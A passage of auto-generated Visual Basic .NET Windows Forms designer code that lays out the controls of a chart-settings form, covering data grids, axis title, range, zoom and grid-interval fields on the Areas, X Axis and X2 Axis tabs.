Me.SplitContainer1.Panel1.Controls.Add(Me.Label22) ' 'SplitContainer1.Panel2 ' Me.SplitContainer1.Panel2.Controls.Add(Me.DataGridView2) Me.SplitContainer1.Panel2.Controls.Add(Me.Label23) Me.SplitContainer1.Size = New System.Drawing.Size(920, 253) Me.SplitContainer1.SplitterDistance = 460 Me.SplitContainer1.TabIndex = 75 ' 'cmbYAxisValueType ' Me.cmbYAxisValueType.FormattingEnabled = True Me.cmbYAxisValueType.Location = New System.Drawing.Point(272, 13) Me.cmbYAxisValueType.Name = "cmbYAxisValueType" Me.cmbYAxisValueType.Size = New System.Drawing.Size(139, 21) Me.cmbYAxisValueType.TabIndex = 291 ' 'cmbYAxisType ' Me.cmbYAxisType.FormattingEnabled = True Me.cmbYAxisType.Location = New System.Drawing.Point(61, 13) Me.cmbYAxisType.Name = "cmbYAxisType" Me.cmbYAxisType.Size = New System.Drawing.Size(139, 21) Me.cmbYAxisType.TabIndex = 285 ' 'Label70 ' Me.Label70.AutoSize = True Me.Label70.Location = New System.Drawing.Point(206, 16) Me.Label70.Name = "Label70" Me.Label70.Size = New System.Drawing.Size(60, 13) Me.Label70.TabIndex = 290 Me.Label70.Text = "Value type:" ' 'Label59 ' Me.Label59.AutoSize = True Me.Label59.Location = New System.Drawing.Point(3, 16) Me.Label59.Name = "Label59" Me.Label59.Size = New System.Drawing.Size(52, 13) Me.Label59.TabIndex = 284 Me.Label59.Text = "Axis type:" ' 'DataGridView1 ' Me.DataGridView1.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.DataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize Me.DataGridView1.Location = New System.Drawing.Point(6, 40) Me.DataGridView1.Name = "DataGridView1" Me.DataGridView1.Size = New System.Drawing.Size(451, 210) Me.DataGridView1.TabIndex = 63 ' 'Label22 ' Me.Label22.AutoSize = True Me.Label22.Location = New System.Drawing.Point(3, 0) Me.Label22.Name = "Label22" Me.Label22.Size = New System.Drawing.Size(52, 13) Me.Label22.TabIndex = 66 Me.Label22.Text = "Y Values:" ' 'DataGridView2 ' Me.DataGridView2.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.DataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize Me.DataGridView2.Location = New System.Drawing.Point(6, 16) Me.DataGridView2.Name = "DataGridView2" Me.DataGridView2.Size = New System.Drawing.Size(447, 234) Me.DataGridView2.TabIndex = 67 ' 'Label23 ' Me.Label23.AutoSize = True Me.Label23.Location = New System.Drawing.Point(3, 0) Me.Label23.Name = "Label23" Me.Label23.Size = New System.Drawing.Size(92, 13) Me.Label23.TabIndex = 68 Me.Label23.Text = "Custom Attributes:" ' 'txtSeriesName ' Me.txtSeriesName.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtSeriesName.Location = New System.Drawing.Point(507, 6) Me.txtSeriesName.Name = "txtSeriesName" Me.txtSeriesName.Size = New System.Drawing.Size(422, 20) Me.txtSeriesName.TabIndex = 74 ' 'Label35 ' Me.Label35.AutoSize = True Me.Label35.Location = New System.Drawing.Point(463, 9) Me.Label35.Name = "Label35" Me.Label35.Size = New System.Drawing.Size(38, 13) Me.Label35.TabIndex = 73 Me.Label35.Text = "Name:" ' 'cmbXValues ' Me.cmbXValues.FormattingEnabled = True Me.cmbXValues.Location = New System.Drawing.Point(93, 34) Me.cmbXValues.Name = "cmbXValues" Me.cmbXValues.Size = New System.Drawing.Size(284, 21) Me.cmbXValues.TabIndex = 72 ' 'Label24 ' Me.Label24.AutoSize = True Me.Label24.Location = New System.Drawing.Point(7, 37) Me.Label24.Name = "Label24" Me.Label24.Size = New System.Drawing.Size(52, 13) Me.Label24.TabIndex = 71 Me.Label24.Text = "X Values:" ' 'TabPage15 ' Me.TabPage15.Controls.Add(Me.btnCancelAreaSettings) Me.TabPage15.Controls.Add(Me.btnApplyAreaSettings) Me.TabPage15.Controls.Add(Me.btnDeleteArea) Me.TabPage15.Controls.Add(Me.btnAddArea) Me.TabPage15.Controls.Add(Me.txtAreaRecordNo) Me.TabPage15.Controls.Add(Me.Label60) Me.TabPage15.Controls.Add(Me.btnNextArea) Me.TabPage15.Controls.Add(Me.btnPrevArea) Me.TabPage15.Controls.Add(Me.Label61) Me.TabPage15.Controls.Add(Me.txtNAreaRecords) Me.TabPage15.Controls.Add(Me.txtAreaName) Me.TabPage15.Controls.Add(Me.Label62) Me.TabPage15.Controls.Add(Me.TabControl4) Me.TabPage15.Location = New System.Drawing.Point(4, 22) Me.TabPage15.Name = "TabPage15" Me.TabPage15.Size = New System.Drawing.Size(935, 460) Me.TabPage15.TabIndex = 8 Me.TabPage15.Text = "Areas" Me.TabPage15.UseVisualStyleBackColor = True ' 'btnCancelAreaSettings ' Me.btnCancelAreaSettings.Location = New System.Drawing.Point(409, 6) Me.btnCancelAreaSettings.Name = "btnCancelAreaSettings" Me.btnCancelAreaSettings.Size = New System.Drawing.Size(48, 22) Me.btnCancelAreaSettings.TabIndex = 294 Me.btnCancelAreaSettings.Text = "Cancel" Me.btnCancelAreaSettings.UseVisualStyleBackColor = True ' 'btnApplyAreaSettings ' Me.btnApplyAreaSettings.Location = New System.Drawing.Point(355, 6) Me.btnApplyAreaSettings.Name = "btnApplyAreaSettings" Me.btnApplyAreaSettings.Size = New System.Drawing.Size(48, 22) Me.btnApplyAreaSettings.TabIndex = 293 Me.btnApplyAreaSettings.Text = "Apply" Me.btnApplyAreaSettings.UseVisualStyleBackColor = True ' 'btnDeleteArea ' Me.btnDeleteArea.Location = New System.Drawing.Point(310, 6) Me.btnDeleteArea.Name = "btnDeleteArea" Me.btnDeleteArea.Size = New System.Drawing.Size(39, 22) Me.btnDeleteArea.TabIndex = 292 Me.btnDeleteArea.Text = "Del" Me.btnDeleteArea.UseVisualStyleBackColor = True ' 'btnAddArea ' Me.btnAddArea.Location = New System.Drawing.Point(265, 6) Me.btnAddArea.Name = "btnAddArea" Me.btnAddArea.Size = New System.Drawing.Size(39, 22) Me.btnAddArea.TabIndex = 291 Me.btnAddArea.Text = "Add" Me.btnAddArea.UseVisualStyleBackColor = True ' 'txtAreaRecordNo ' Me.txtAreaRecordNo.Location = New System.Drawing.Point(49, 7) Me.txtAreaRecordNo.Name = "txtAreaRecordNo" Me.txtAreaRecordNo.Size = New System.Drawing.Size(45, 20) Me.txtAreaRecordNo.TabIndex = 290 ' 'Label60 ' Me.Label60.AutoSize = True Me.Label60.Location = New System.Drawing.Point(7, 10) Me.Label60.Name = "Label60" Me.Label60.Size = New System.Drawing.Size(29, 13) Me.Label60.TabIndex = 289 Me.Label60.Text = "Area" ' 'btnNextArea ' Me.btnNextArea.Location = New System.Drawing.Point(220, 6) Me.btnNextArea.Name = "btnNextArea" Me.btnNextArea.Size = New System.Drawing.Size(39, 22) Me.btnNextArea.TabIndex = 288 Me.btnNextArea.Text = "Next" Me.btnNextArea.UseVisualStyleBackColor = True ' 'btnPrevArea ' Me.btnPrevArea.Location = New System.Drawing.Point(175, 6) Me.btnPrevArea.Name = "btnPrevArea" Me.btnPrevArea.Size = New System.Drawing.Size(39, 22) Me.btnPrevArea.TabIndex = 287 Me.btnPrevArea.Text = "Prev" Me.btnPrevArea.UseVisualStyleBackColor = True ' 'Label61 ' Me.Label61.AutoSize = True Me.Label61.Location = New System.Drawing.Point(100, 10) Me.Label61.Name = "Label61" Me.Label61.Size = New System.Drawing.Size(16, 13) Me.Label61.TabIndex = 286 Me.Label61.Text = "of" ' 'txtNAreaRecords ' Me.txtNAreaRecords.Location = New System.Drawing.Point(122, 7) Me.txtNAreaRecords.Name = "txtNAreaRecords" Me.txtNAreaRecords.ReadOnly = True Me.txtNAreaRecords.Size = New System.Drawing.Size(47, 20) Me.txtNAreaRecords.TabIndex = 285 ' 'txtAreaName ' Me.txtAreaName.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtAreaName.Location = New System.Drawing.Point(507, 6) Me.txtAreaName.Name = "txtAreaName" Me.txtAreaName.ReadOnly = True Me.txtAreaName.Size = New System.Drawing.Size(421, 20) Me.txtAreaName.TabIndex = 284 ' 'Label62 ' Me.Label62.AutoSize = True Me.Label62.Location = New System.Drawing.Point(463, 9) Me.Label62.Name = "Label62" Me.Label62.Size = New System.Drawing.Size(38, 13) Me.Label62.TabIndex = 283 Me.Label62.Text = "Name:" ' 'TabControl4 ' Me.TabControl4.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.TabControl4.Controls.Add(Me.TabPage14) Me.TabControl4.Controls.Add(Me.TabPage16) Me.TabControl4.Controls.Add(Me.TabPage17) Me.TabControl4.Controls.Add(Me.TabPage18) Me.TabControl4.Location = New System.Drawing.Point(3, 34) Me.TabControl4.Name = "TabControl4" Me.TabControl4.SelectedIndex = 0 Me.TabControl4.Size = New System.Drawing.Size(929, 423) Me.TabControl4.TabIndex = 0 ' 'TabPage14 ' Me.TabPage14.Controls.Add(Me.btnXAxisZoom) Me.TabPage14.Controls.Add(Me.Label73) Me.TabPage14.Controls.Add(Me.txtXAxisZoomInterval) Me.TabPage14.Controls.Add(Me.btnZoomOK) Me.TabPage14.Controls.Add(Me.txtXAxisZoomTo) Me.TabPage14.Controls.Add(Me.Label72) Me.TabPage14.Controls.Add(Me.txtXAxisZoomFrom) Me.TabPage14.Controls.Add(Me.Label71) Me.TabPage14.Controls.Add(Me.chkXAxisScrollBar) Me.TabPage14.Controls.Add(Me.txtXAxisLabelStyleFormat) Me.TabPage14.Controls.Add(Me.Label65) Me.TabPage14.Controls.Add(Me.btnXAxisTitleColor) Me.TabPage14.Controls.Add(Me.chkXAxisAutoMajGridInt) Me.TabPage14.Controls.Add(Me.txtXAxisMajGridInt) Me.TabPage14.Controls.Add(Me.Label36) Me.TabPage14.Controls.Add(Me.chkXAxisAutoAnnotInt) Me.TabPage14.Controls.Add(Me.txtXAxisAnnotInt) Me.TabPage14.Controls.Add(Me.Label27) Me.TabPage14.Controls.Add(Me.chkXAxisAutoMax) Me.TabPage14.Controls.Add(Me.chkXAxisAutoMin) Me.TabPage14.Controls.Add(Me.DateTimePicker2) Me.TabPage14.Controls.Add(Me.DateTimePicker1) Me.TabPage14.Controls.Add(Me.txtXAxisMax) Me.TabPage14.Controls.Add(Me.Label28) Me.TabPage14.Controls.Add(Me.txtXAxisMin) Me.TabPage14.Controls.Add(Me.Label29) Me.TabPage14.Controls.Add(Me.cmbXAxisTitleAlignment) Me.TabPage14.Controls.Add(Me.Label30) Me.TabPage14.Controls.Add(Me.btnXAxisTitleFont) Me.TabPage14.Controls.Add(Me.txtXAxisTitle) Me.TabPage14.Controls.Add(Me.Label34) Me.TabPage14.Location = New System.Drawing.Point(4, 22) Me.TabPage14.Name = "TabPage14" Me.TabPage14.Padding = New System.Windows.Forms.Padding(3) Me.TabPage14.Size = New System.Drawing.Size(921, 397) Me.TabPage14.TabIndex = 0 Me.TabPage14.Text = "X Axus" Me.TabPage14.UseVisualStyleBackColor = True ' 'btnXAxisZoom ' Me.btnXAxisZoom.Location = New System.Drawing.Point(115, 221) Me.btnXAxisZoom.Name = "btnXAxisZoom" Me.btnXAxisZoom.Size = New System.Drawing.Size(54, 22) Me.btnXAxisZoom.TabIndex = 101 Me.btnXAxisZoom.Text = "Zoom" Me.btnXAxisZoom.UseVisualStyleBackColor = True ' 'Label73 ' Me.Label73.AutoSize = True Me.Label73.Location = New System.Drawing.Point(396, 306) Me.Label73.Name = "Label73" Me.Label73.Size = New System.Drawing.Size(45, 13) Me.Label73.TabIndex = 100 Me.Label73.Text = "Interval:" ' 'txtXAxisZoomInterval ' Me.txtXAxisZoomInterval.Location = New System.Drawing.Point(447, 303) Me.txtXAxisZoomInterval.Name = "txtXAxisZoomInterval" Me.txtXAxisZoomInterval.Size = New System.Drawing.Size(119, 20) Me.txtXAxisZoomInterval.TabIndex = 99 ' 'btnZoomOK ' Me.btnZoomOK.Location = New System.Drawing.Point(572, 277) Me.btnZoomOK.Name = "btnZoomOK" Me.btnZoomOK.Size = New System.Drawing.Size(54, 22) Me.btnZoomOK.TabIndex = 98 Me.btnZoomOK.Text = "OK" Me.btnZoomOK.UseVisualStyleBackColor = True ' 'txtXAxisZoomTo ' Me.txtXAxisZoomTo.Location = New System.Drawing.Point(447, 277) Me.txtXAxisZoomTo.Name = "txtXAxisZoomTo" Me.txtXAxisZoomTo.Size = New System.Drawing.Size(119, 20) Me.txtXAxisZoomTo.TabIndex = 97 ' 'Label72 ' Me.Label72.AutoSize = True Me.Label72.Location = New System.Drawing.Point(422, 280) Me.Label72.Name = "Label72" Me.Label72.Size = New System.Drawing.Size(19, 13) Me.Label72.TabIndex = 96 Me.Label72.Text = "to:" ' 'txtXAxisZoomFrom ' Me.txtXAxisZoomFrom.Location = New System.Drawing.Point(297, 276) Me.txtXAxisZoomFrom.Name = "txtXAxisZoomFrom" Me.txtXAxisZoomFrom.Size = New System.Drawing.Size(119, 20) Me.txtXAxisZoomFrom.TabIndex = 95 ' 'Label71 ' Me.Label71.AutoSize = True Me.Label71.Location = New System.Drawing.Point(231, 280) Me.Label71.Name = "Label71" Me.Label71.Size = New System.Drawing.Size(60, 13) Me.Label71.TabIndex = 94 Me.Label71.Text = "Zoom from:" ' 'chkXAxisScrollBar ' Me.chkXAxisScrollBar.AutoSize = True Me.chkXAxisScrollBar.Location = New System.Drawing.Point(11, 225) Me.chkXAxisScrollBar.Name = "chkXAxisScrollBar" Me.chkXAxisScrollBar.Size = New System.Drawing.Size(67, 17) Me.chkXAxisScrollBar.TabIndex = 93 Me.chkXAxisScrollBar.Text = "Scrollbar" Me.chkXAxisScrollBar.UseVisualStyleBackColor = True ' 'txtXAxisLabelStyleFormat ' Me.txtXAxisLabelStyleFormat.Location = New System.Drawing.Point(115, 195) Me.txtXAxisLabelStyleFormat.Name = "txtXAxisLabelStyleFormat" Me.txtXAxisLabelStyleFormat.Size = New System.Drawing.Size(163, 20) Me.txtXAxisLabelStyleFormat.TabIndex = 92 ' 'Label65 ' Me.Label65.AutoSize = True Me.Label65.Location = New System.Drawing.Point(11, 198) Me.Label65.Name = "Label65" Me.Label65.Size = New System.Drawing.Size(92, 13) Me.Label65.TabIndex = 91 Me.Label65.Text = "Label style format:" ' 'btnXAxisTitleColor ' Me.btnXAxisTitleColor.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnXAxisTitleColor.Location = New System.Drawing.Point(841, 34) Me.btnXAxisTitleColor.Name = "btnXAxisTitleColor" Me.btnXAxisTitleColor.Size = New System.Drawing.Size(54, 22) Me.btnXAxisTitleColor.TabIndex = 90 Me.btnXAxisTitleColor.Text = "Color" Me.btnXAxisTitleColor.UseVisualStyleBackColor = True ' 'chkXAxisAutoMajGridInt ' Me.chkXAxisAutoMajGridInt.AutoSize = True Me.chkXAxisAutoMajGridInt.Location = New System.Drawing.Point(284, 171) Me.chkXAxisAutoMajGridInt.Name = "chkXAxisAutoMajGridInt" Me.chkXAxisAutoMajGridInt.Size = New System.Drawing.Size(48, 17) Me.chkXAxisAutoMajGridInt.TabIndex = 89 Me.chkXAxisAutoMajGridInt.Text = "Auto" Me.chkXAxisAutoMajGridInt.UseVisualStyleBackColor = True ' 'txtXAxisMajGridInt ' Me.txtXAxisMajGridInt.Location = New System.Drawing.Point(115, 169) Me.txtXAxisMajGridInt.Name = "txtXAxisMajGridInt" Me.txtXAxisMajGridInt.Size = New System.Drawing.Size(163, 20) Me.txtXAxisMajGridInt.TabIndex = 88 ' 'Label36 ' Me.Label36.AutoSize = True Me.Label36.Location = New System.Drawing.Point(11, 172) Me.Label36.Name = "Label36" Me.Label36.Size = New System.Drawing.Size(93, 13) Me.Label36.TabIndex = 87 Me.Label36.Text = "Major grid interval:" ' 'chkXAxisAutoAnnotInt ' Me.chkXAxisAutoAnnotInt.AutoSize = True Me.chkXAxisAutoAnnotInt.Location = New System.Drawing.Point(284, 146) Me.chkXAxisAutoAnnotInt.Name = "chkXAxisAutoAnnotInt" Me.chkXAxisAutoAnnotInt.Size = New System.Drawing.Size(48, 17) Me.chkXAxisAutoAnnotInt.TabIndex = 86 Me.chkXAxisAutoAnnotInt.Text = "Auto" Me.chkXAxisAutoAnnotInt.UseVisualStyleBackColor = True ' 'txtXAxisAnnotInt ' Me.txtXAxisAnnotInt.Location = New System.Drawing.Point(115, 144) Me.txtXAxisAnnotInt.Name = "txtXAxisAnnotInt" Me.txtXAxisAnnotInt.Size = New System.Drawing.Size(163, 20) Me.txtXAxisAnnotInt.TabIndex = 85 ' 'Label27 ' Me.Label27.AutoSize = True Me.Label27.Location = New System.Drawing.Point(11, 147) Me.Label27.Name = "Label27" Me.Label27.Size = New System.Drawing.Size(98, 13) Me.Label27.TabIndex = 84 Me.Label27.Text = "Annotation interval:" ' 'chkXAxisAutoMax ' Me.chkXAxisAutoMax.AutoSize = True Me.chkXAxisAutoMax.Location = New System.Drawing.Point(607, 84) Me.chkXAxisAutoMax.Name = "chkXAxisAutoMax" Me.chkXAxisAutoMax.Size = New System.Drawing.Size(48, 17) Me.chkXAxisAutoMax.TabIndex = 83 Me.chkXAxisAutoMax.Text = "Auto" Me.chkXAxisAutoMax.UseVisualStyleBackColor = True ' 'chkXAxisAutoMin ' Me.chkXAxisAutoMin.AutoSize = True Me.chkXAxisAutoMin.Location = New System.Drawing.Point(284, 84) Me.chkXAxisAutoMin.Name = "chkXAxisAutoMin" Me.chkXAxisAutoMin.Size = New System.Drawing.Size(48, 17) Me.chkXAxisAutoMin.TabIndex = 82 Me.chkXAxisAutoMin.Text = "Auto" Me.chkXAxisAutoMin.UseVisualStyleBackColor = True ' 'DateTimePicker2 ' Me.DateTimePicker2.Location = New System.Drawing.Point(76, 108) Me.DateTimePicker2.Name = "DateTimePicker2" Me.DateTimePicker2.Size = New System.Drawing.Size(202, 20) Me.DateTimePicker2.TabIndex = 81 ' 'DateTimePicker1 ' Me.DateTimePicker1.Location = New System.Drawing.Point(399, 108) Me.DateTimePicker1.Name = "DateTimePicker1" Me.DateTimePicker1.Size = New System.Drawing.Size(202, 20) Me.DateTimePicker1.TabIndex = 80 ' 'txtXAxisMax ' Me.txtXAxisMax.Location = New System.Drawing.Point(399, 82) Me.txtXAxisMax.Name = "txtXAxisMax" Me.txtXAxisMax.Size = New System.Drawing.Size(202, 20) Me.txtXAxisMax.TabIndex = 79 ' 'Label28 ' Me.Label28.AutoSize = True Me.Label28.Location = New System.Drawing.Point(363, 85) Me.Label28.Name = "Label28" Me.Label28.Size = New System.Drawing.Size(30, 13) Me.Label28.TabIndex = 78 Me.Label28.Text = "Max:" ' 'txtXAxisMin ' Me.txtXAxisMin.Location = New System.Drawing.Point(76, 82) Me.txtXAxisMin.Name = "txtXAxisMin" Me.txtXAxisMin.Size = New System.Drawing.Size(202, 20) Me.txtXAxisMin.TabIndex = 77 ' 'Label29 ' Me.Label29.AutoSize = True Me.Label29.Location = New System.Drawing.Point(43, 85) Me.Label29.Name = "Label29" Me.Label29.Size = New System.Drawing.Size(27, 13) Me.Label29.TabIndex = 76 Me.Label29.Text = "Min:" ' 'cmbXAxisTitleAlignment ' Me.cmbXAxisTitleAlignment.FormattingEnabled = True Me.cmbXAxisTitleAlignment.Location = New System.Drawing.Point(76, 53) Me.cmbXAxisTitleAlignment.Name = "cmbXAxisTitleAlignment" Me.cmbXAxisTitleAlignment.Size = New System.Drawing.Size(255, 21) Me.cmbXAxisTitleAlignment.TabIndex = 75 ' 'Label30 ' Me.Label30.AutoSize = True Me.Label30.Location = New System.Drawing.Point(8, 56) Me.Label30.Name = "Label30" Me.Label30.Size = New System.Drawing.Size(56, 13) Me.Label30.TabIndex = 74 Me.Label30.Text = "Alignment:" ' 'btnXAxisTitleFont ' Me.btnXAxisTitleFont.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnXAxisTitleFont.Location = New System.Drawing.Point(841, 6) Me.btnXAxisTitleFont.Name = "btnXAxisTitleFont" Me.btnXAxisTitleFont.Size = New System.Drawing.Size(54, 22) Me.btnXAxisTitleFont.TabIndex = 73 Me.btnXAxisTitleFont.Text = "Font" Me.btnXAxisTitleFont.UseVisualStyleBackColor = True ' 'txtXAxisTitle ' Me.txtXAxisTitle.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtXAxisTitle.Location = New System.Drawing.Point(76, 7) Me.txtXAxisTitle.Name = "txtXAxisTitle" Me.txtXAxisTitle.Size = New System.Drawing.Size(759, 20) Me.txtXAxisTitle.TabIndex = 72 ' 'Label34 ' Me.Label34.AutoSize = True Me.Label34.Location = New System.Drawing.Point(8, 10) Me.Label34.Name = "Label34" Me.Label34.Size = New System.Drawing.Size(62, 13) Me.Label34.TabIndex = 71 Me.Label34.Text = "X Axis Title:" ' 'TabPage16 ' Me.TabPage16.Controls.Add(Me.btnX2AxisZoom) Me.TabPage16.Controls.Add(Me.chkX2AxisScrollBar) Me.TabPage16.Controls.Add(Me.txtX2AxisLabelStyleFormat) Me.TabPage16.Controls.Add(Me.Label66) Me.TabPage16.Controls.Add(Me.btnX2AxisTitleColor) Me.TabPage16.Controls.Add(Me.chkX2AxisAutoMajGridInt) Me.TabPage16.Controls.Add(Me.txtX2AxisMajGridInt) Me.TabPage16.Controls.Add(Me.Label49) Me.TabPage16.Controls.Add(Me.chkX2AxisAutoAnnotInt) Me.TabPage16.Controls.Add(Me.txtX2AxisAnnotInt) Me.TabPage16.Controls.Add(Me.Label50) Me.TabPage16.Controls.Add(Me.chkX2AxisAutoMax) Me.TabPage16.Controls.Add(Me.chkX2AxisAutoMin) Me.TabPage16.Controls.Add(Me.DateTimePicker7) Me.TabPage16.Controls.Add(Me.DateTimePicker8) Me.TabPage16.Controls.Add(Me.txtX2AxisMax) Me.TabPage16.Controls.Add(Me.Label51) Me.TabPage16.Controls.Add(Me.txtX2AxisMin) Me.TabPage16.Controls.Add(Me.Label52) Me.TabPage16.Controls.Add(Me.cmbX2AxisTitleAlignment) Me.TabPage16.Controls.Add(Me.Label53) Me.TabPage16.Controls.Add(Me.btnX2AxisTitleFont) Me.TabPage16.Controls.Add(Me.txtX2AxisTitle) Me.TabPage16.Controls.Add(Me.Label54) Me.TabPage16.Location = New System.Drawing.Point(4, 22) Me.TabPage16.Name = "TabPage16" Me.TabPage16.Padding = New System.Windows.Forms.Padding(3) Me.TabPage16.Size = New System.Drawing.Size(921, 397) Me.TabPage16.TabIndex = 1 Me.TabPage16.Text = "X2 Axis" Me.TabPage16.UseVisualStyleBackColor = True ' 'btnX2AxisZoom ' Me.btnX2AxisZoom.Location = New System.Drawing.Point(115, 221) Me.btnX2AxisZoom.Name = "btnX2AxisZoom" Me.btnX2AxisZoom.Size = New System.Drawing.Size(54, 22) Me.btnX2AxisZoom.TabIndex = 103 Me.btnX2AxisZoom.Text = "Zoom" Me.btnX2AxisZoom.UseVisualStyleBackColor = True ' 'chkX2AxisScrollBar ' Me.chkX2AxisScrollBar.AutoSize = True Me.chkX2AxisScrollBar.Location = New System.Drawing.Point(9, 225) Me.chkX2AxisScrollBar.Name = "chkX2AxisScrollBar" Me.chkX2AxisScrollBar.Size = New System.Drawing.Size(67, 17) Me.chkX2AxisScrollBar.TabIndex = 102 Me.chkX2AxisScrollBar.Text = "Scrollbar" Me.chkX2AxisScrollBar.UseVisualStyleBackColor = True ' 'txtX2AxisLabelStyleFormat ' Me.txtX2AxisLabelStyleFormat.Location = New System.Drawing.Point(115, 195) Me.txtX2AxisLabelStyleFormat.Name = "txtX2AxisLabelStyleFormat" Me.txtX2AxisLabelStyleFormat.Size = New System.Drawing.Size(163, 20) Me.txtX2AxisLabelStyleFormat.TabIndex = 94 ' 'Label66 ' Me.Label66.AutoSize = True Me.Label66.Location = New System.Drawing.Point(11, 198) Me.Label66.Name = "Label66" Me.Label66.Size = New System.Drawing.Size(92, 13) Me.Label66.TabIndex = 93 Me.Label66.Text = "Label style format:" ' 'btnX2AxisTitleColor ' Me.btnX2AxisTitleColor.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnX2AxisTitleColor.Location = New System.Drawing.Point(834, 34) Me.btnX2AxisTitleColor.Name = "btnX2AxisTitleColor" Me.btnX2AxisTitleColor.Size = New System.Drawing.Size(54, 22) Me.btnX2AxisTitleColor.TabIndex = 91 Me.btnX2AxisTitleColor.Text = "Color" Me.btnX2AxisTitleColor.UseVisualStyleBackColor = True ' 'chkX2AxisAutoMajGridInt ' Me.chkX2AxisAutoMajGridInt.AutoSize = True Me.chkX2AxisAutoMajGridInt.Location = New System.Drawing.Point(284, 171) Me.chkX2AxisAutoMajGridInt.Name = "chkX2AxisAutoMajGridInt" Me.chkX2AxisAutoMajGridInt.Size = New System.Drawing.Size(48, 17) Me.chkX2AxisAutoMajGridInt.TabIndex = 89 Me.chkX2AxisAutoMajGridInt.Text = "Auto" Me.chkX2AxisAutoMajGridInt.UseVisualStyleBackColor = True ' 'txtX2AxisMajGridInt ' Me.txtX2AxisMajGridInt.Location = New System.Drawing.Point(115, 169) Me.txtX2AxisMajGridInt.Name = "txtX2AxisMajGridInt" Me.txtX2AxisMajGridInt.Size = New System.Drawing.Size(163, 20) Me.txtX2AxisMajGridInt.TabIndex = 88 ' 'Label49 ' Me.Label49.AutoSize = True Me.Label49.Location = New System.Drawing.Point(11, 172) Me.Label49.Name = "Label49" Me.Label49.Size = New System.Drawing.Size(93, 13) Me.Label49.TabIndex = 87 Me.Label49.Text = "Major grid interval:" ' 'chkX2AxisAutoAnnotInt ' Me.chkX2AxisAutoAnnotInt.AutoSize = True Me.chkX2AxisAutoAnnotInt.Location = New System.Drawing.Point(284, 146) Me.chkX2AxisAutoAnnotInt.Name = "chkX2AxisAutoAnnotInt" Me.chkX2AxisAutoAnnotInt.Size = New System.Drawing.Size(48, 17) Me.chkX2AxisAutoAnnotInt.TabIndex = 86 Me.chkX2AxisAutoAnnotInt.Text = "Auto" Me.chkX2AxisAutoAnnotInt.UseVisualStyleBackColor = True ' 'txtX2AxisAnnotInt ' Me.txtX2AxisAnnotInt.Location = New System.Drawing.Point(115, 144) Me.txtX2AxisAnnotInt.Name = "txtX2AxisAnnotInt" Me.txtX2AxisAnnotInt.Size = New System.Drawing.Size(163, 20) Me.txtX2AxisAnnotInt.TabIndex = 85 ' 'Label50 ' Me.Label50.AutoSize = True Me.Label50.Location = New System.Drawing.Point(11, 147) Me.Label50.Name = "Label50" Me.Label50.Size = New System.Drawing.Size(98, 13) Me.Label50.TabIndex = 84 Me.Label50.Text = "Annotation interval:" ' 'chkX2AxisAutoMax ' Me.chkX2AxisAutoMax.AutoSize = True Me.chkX2AxisAutoMax.Location = New System.Drawing.Point(607, 84) Me.chkX2AxisAutoMax.Name = "chkX2AxisAutoMax" Me.chkX2AxisAutoMax.Size = New System.Drawing.Size(48, 17) Me.chkX2AxisAutoMax.TabIndex = 83 Me.chkX2AxisAutoMax.Text = "Auto" Me.chkX2AxisAutoMax.UseVisualStyleBackColor = True ' 'chkX2AxisAutoMin ' Me.chkX2AxisAutoMin.AutoSize = True Me.chkX2AxisAutoMin.Location = New System.Drawing.Point(284, 84) Me.chkX2AxisAutoMin.Name = "chkX2AxisAutoMin" Me.chkX2AxisAutoMin.Size = New System.Drawing.Size(48, 17) Me.chkX2AxisAutoMin.TabIndex = 82 Me.chkX2AxisAutoMin.Text = "Auto" Me.chkX2AxisAutoMin.UseVisualStyleBackColor = True ' 'DateTimePicker7 ' Me.DateTimePicker7.Location = New System.Drawing.Point(76, 108) Me.DateTimePicker7.Name = "DateTimePicker7" Me.DateTimePicker7.Size = New System.Drawing.Size(202, 20) Me.DateTimePicker7.TabIndex = 81 ' 'DateTimePicker8 ' Me.DateTimePicker8.Location = New System.Drawing.Point(399, 108) Me.DateTimePicker8.Name = "DateTimePicker8" Me.DateTimePicker8.Size = New System.Drawing.Size(202, 20) Me.DateTimePicker8.TabIndex = 80 ' 'txtX2AxisMax ' Me.txtX2AxisMax.Location = New System.Drawing.Point(399, 82) Me.txtX2AxisMax.Name = "txtX2AxisMax" Me.txtX2AxisMax.Size = New System.Drawing.Size(202, 20) Me.txtX2AxisMax.TabIndex = 79 ' 'Label51 ' Me.Label51.AutoSize = True Me.Label51.Location = New System.Drawing.Point(363, 85) Me.Label51.Name = "Label51" Me.Label51.Size = New System.Drawing.Size(30, 13) Me.Label51.TabIndex = 78 Me.Label51.Text = "Max:" ' 'txtX2AxisMin ' Me.txtX2AxisMin.Location = New System.Drawing.Point(76, 82) 